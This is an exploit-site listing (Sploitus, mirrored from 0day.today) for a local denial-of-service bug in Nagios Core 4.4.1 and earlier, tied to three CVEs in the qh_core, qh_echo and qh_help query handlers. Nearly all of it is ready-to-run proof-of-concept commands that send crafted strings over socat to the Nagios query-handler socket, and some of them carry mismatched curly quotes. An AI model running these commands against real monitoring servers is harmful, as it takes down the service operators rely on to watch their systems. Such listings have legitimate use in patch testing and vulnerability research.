Sploitus

Exploit for Nagios Core 4.4.1 - Denial of Service Vulnerability

zdt Β· 2018-07-24

Exploit Code

MARKDOWN27 lines
## https://sploitus.com/exploit?id=1337DAY-ID-30770
# Exploit Title: Nagios Core Multiple Local Denial of Service
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1
 
 
qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
 
1. [CVE-2018-13458] qh_core
 
$ echo -ne β€œ#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne β€œ@core\0" | socat unix-connect:./poc/nagios.qh -
 
2. [CVE-2018-13457] qh_echo
 
$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne β€œ@echo\0" | socat unix-connect:./poc/nagios.qh -
 
3. [CVE-2018-13441] qh_help
 
$ echo -ne β€œ#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne β€œ@help\0" | socat unix-connect:./poc/nagios.qh -

#  0day.today [2018-07-25]  #